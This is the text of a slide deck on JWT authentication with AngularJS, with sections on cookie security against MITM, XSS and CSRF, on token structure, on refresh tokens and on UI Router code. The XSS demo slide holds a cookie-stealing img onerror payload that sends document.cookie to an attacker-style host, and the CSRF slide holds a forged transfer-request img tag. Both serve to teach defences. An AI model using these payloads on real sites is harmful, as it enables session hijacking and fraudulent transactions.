JWT Authentication with AngularJS

JWT Authentication with AngularJS

(or any other front-end framework)Robert Damphousse @robertjd_Lead Front-End Developer, Stormpath

About Me

• Full-stack developer 10 years

• Full-stack with JavaScript since 2011 (Node.js + Angular)

• Currently leading JavaScript at Stormpath

About Stormpath• Cloud-based User Identity API for Developers• Authentication and Authorization as-as-service• RESTful API• Active Directory, LDAP, and SAML Integration• Private Deployments (AWS)• Free plan for developers

Slideshare URL: http://goo.gl/AWaE5D

Talk Overview

• Recap: Session Identifiers

• Cookies, The Right Way ®

• Introduction to JWT

• Access Tokens & Refresh Tokens

• Storing JWTs in the Browser

• Angular specifics

Recap: Session Identifiers

Verify username & password

Create a session ID, link to user

Stores session ID in a cookie

Recap: Session Identifiers

Session ID Concerns

• They’re opaque and have no meaning (they’re just pointers).

• Database heavy: session ID lookup on *every request*.

• Cookies need to be secured to prevent session hijacking.

Cookies,The Right Way ®

Cookies, The Right Way ®

Cookies can be easily compromised

• Man-in-the-Middle (MITM)• Cross-Site Scripting (XSS)• Cross-Site Request Forgery (CSRF)

Man In The Middle (MITM) AttackSomeone ‘listening on the wire’ between the browser and server can steal the cookie.

Solutions

• Use HTTPS/TLS everywhere a cookie will be in transit.

• Set Secure flag on cookies.

Cross-Site Scripting (XSS)

XSS Attacks

This is a very REAL problem

Happens when attacker code is run inside a browser, on your domain.

Can be used to steal your cookies!

XSS Attack Demo

Source: https://www.google.com/about/appsecurity/learning/xss/#StoredXSS

https://www.google.com/about/appsecurity/learning/xss/%23StoredXSS




XSS Attack Demo

XSS Attack Demo

<img src=x onerror="document.body.appendChild(function(){var a = document.createElement('img');a.src='https://hackmeplz.com/yourCookies.png/?cookies=’+document.cookie;return a}())"

So what if I put this in the chatbox..

XSS Attack Demo

GET https://hackmeplz.com/yourCookies.png/?cookies=SessionID=123412341234

Your browser is going to make this request:

Which means..

XSS Attack – What Can I Do?

Escape Content

• Server-side: Use well-known, trusted libraries to ensure dynamic HTML does not contain executable code. Do NOT roll your own.

• Client Side: Escape user input from forms (some frameworks do this for you, but read the docs for caveats!)


Use HTTPS-Only cookies

Set the HttpOnly flag on your authentication cookies.

HttpOnly cookies are NOT accessible by the JavaScript environment


XSS Resources:

https://www.owasp.org/index.php/XSS

https://www.google.com/about/appsecurity/learning/xss/

https://www.owasp.org/index.php/XSS








Cross-Site Request Forgery

(CSRF)

Cross-Site Request Forgery (CSRF)

Exploits the fact that HTML tags do NOT follow the Same Origin Policy when making GET requests


Example: Attacker puts malicious image into a web page that the user visits:

<img src=“https://trustyapp.com/transferMoney?to=BadGuy&amount=10000”/>

.. what happens?

https://myapp.com/transferMoney?to=BadGuy&amount=10000







• Browser sends cookies for trustyapp.com

• Server trusts cookies AND assumes this was an intended user action

• transfers the money!


The Solutions:

• Synchronizer Token (for form-based apps)

• Double-Submit Cookie (for modern apps)

Double Submit Cookie

• Give client two cookies: (1) Session ID and (2) a strong random value

• Client sends back the random value in a custom HTTP header, triggering the Same-Origin-Policy


CSRF Resources:

https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy

https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF






An Introduction to JSON Web Tokens

(JWTs)

Definitions

Authentication is proving who you are.

Authorization is being granted access to resources.

Tokens are used to persist authentication and get authorization.

JWT is a token format.

JSON Web Tokens (JWT)

In the wild they look like just another ugly string:

eyJ0eXAiOiJKV1QiLA0KICJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJqb2UiLA0KICJleHAiOjEzMDA4MTkzODAsDQogImh0dHA6Ly9leGFtcGxlLmNvbS9pc19yb290Ijp0cnVlfQ.dBjftJeZ4CVPmB92K27uhbUJU1p1r_wW1gFWFOEjXk

JSON Web Tokens (JWT)

But they do have a three part structure. Each part is a Base64-URL encoded string:

eyJ0eXAiOiJKV1QiLA0KICJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJqb2UiLA0KICJleHAiOjEzMDA4MTkzODAsDQogImh0dHA6Ly9leGFtcGxlLmNvbS9pc19yb290Ijp0cnVlfQ.dBjftJeZ4CVPmB92K27uhbUJU1p1r_wW1gFWFOEjXk

Header

Body (‘Claims’)

Cryptographic Signature

JSON Web Tokens (JWT)Base64-decode the parts to see the contents:{ "typ":"JWT", "alg":"HS256"}

{ "iss”:”http://trustyapp.com/”, "exp": 1300819380, “sub”: ”users/8983462”, “scope”: “self api/buy”}

tß´—™à%O˜v+nî…SZu¯µ€U…8H×

Header

Body (‘Claims’)

Cryptographic Signature

JSON Web Tokens (JWT)The claims body is the best part! It asserts:

{

"iss": "http://trustyapp.com/",

"exp": 1300819380,

"sub": "users/8983462",

"scope": "self api/buy"

}

Who issued the token

When it expires

Who it represents

What they can do

Issuing & Verifying JWTs

Issuing JWTs

• User has to present credentials to get a token (password, api keys).

• Tokens are issued by your server, and signed with a secret key that is private.

• The client stores the tokens, and uses them to authenticate requests.

Verifying JWTs

• Just check the signature and expiration time! Stateless authentication!

• Token declares scope, make authorization decisions locally.

• But.. How to revoke stateless authentication?

OAuth2 + JWT

Access & Refresh Tokens

Access & Refresh Tokens

• Client is given an access and refresh token.• Access token expires before refresh token.• Refresh token is used to get more access

tokens.• Access tokens are trusted by signature.• Refresh tokens are checked for revocation.

Whut??

Gives you time-based control over this tradeoff: stateless trust vs. database lookup.

Examples

• Super-secure banking application (want to force user out often):• Access token TTL = 1 minutes• Refresh token TTL = 30 minutes

• Mobile/social app (user should “always be logged in”)• Access token TTL = 1 hour• Refresh token TTL = 4 years (lifetime of mobile

device)

Storing & Transmitting JWTs

(in the browser)

Tradeoffs & Concerns

• Local Storage is not secure (XSS vulnerable).

• Cookies ARE secure, with HttpOnly, Secure flags, and CSRF prevention.

• Using the Authorization header is fun but not really necessary.

• Cross-domain requests are always hell.

Secure & Painless Tradeoffs (IMO, YMMV)

• Use cookies with HttpOnly, Secure flags. • CSRF protection is easy to get right, XSS is

easy to get wrong.• Don’t use the Authorization header• Not really needed.

• Avoid cross-domain where possible• CORS is straightforward, but why have pain?

Authentication Logic, Using Cookies

• Is there an access token cookie? Is it valid? (signature & expiration)?• Yes? Allow the request.• No? Try to get a new access token, using the

refresh token.• Did that work?• Yes? Allow the request, send new access

token on response as cookie.• No? Reject the request, delete refresh

token cookie.

So… AngularJS?

JWT with AngularJS

• How do I know if the user is logged in?

• How do I know if the user can access a view?

• How do I know if access has been revoked?

Is the user logged in?

• Cookies can’t tell you this, if using HttpOnly.

• Argument FOR putting token in local storage, so JS can inspect. Worth the XSS tradeoff?


• Request a /me route, which requires token authentication.

• This route returns the user object.

• Use a promise to return this object.

angular.module('myapp') .config(function($stateProvider) { $stateProvider .state('home', { url: '/', templateUrl: 'views/home.html', resolve: { user: function($auth) { return $auth.getUser(); } } }); });

UI Router Example


• UI Router: use $stateChangeError to handle failed user promise, direct to login view.

• ngRoute: $routeChangeError


• Maintain $rootScope.user• null = we don’t know yet• false = not logged in• {} = we have the user’s data

• Broadcast $authenticated event when user is known.

Can the user access this view?

• Another argument for local token storage and inspection. But, XSS!

• Otherwise, fetch scope from /me route.

$stateProvider .state('home', { url: '/', templateUrl: 'views/home.html', resolve: { user: function($auth) { return $auth.getUser() .then(function(user){ // can access resource?

// return true/false }) } }});

UI Router Example

Has Access Been Revoked?

• If you see a 401 from your API service, broadcast an $unauthenticated event.

• Redirect to login view.

Fin

Recap

• JWTs help with authentication and authorization architecture.

• The are NOT a “security” add-on.

• They’re a more magical session ID.

• Store JWTs securely!

Thanks!

Use Stormpath for API Authentication & Security

Our API and libraries give you a cloud-based user database and web application security in no time!

Get started with your free Stormpath developer account:

https://api.stormpath.com/register

Questions?

[email protected]

https://api.stormpath.com/register

mailto:[email protected]

Engineering

JWT Authentication with AngularJS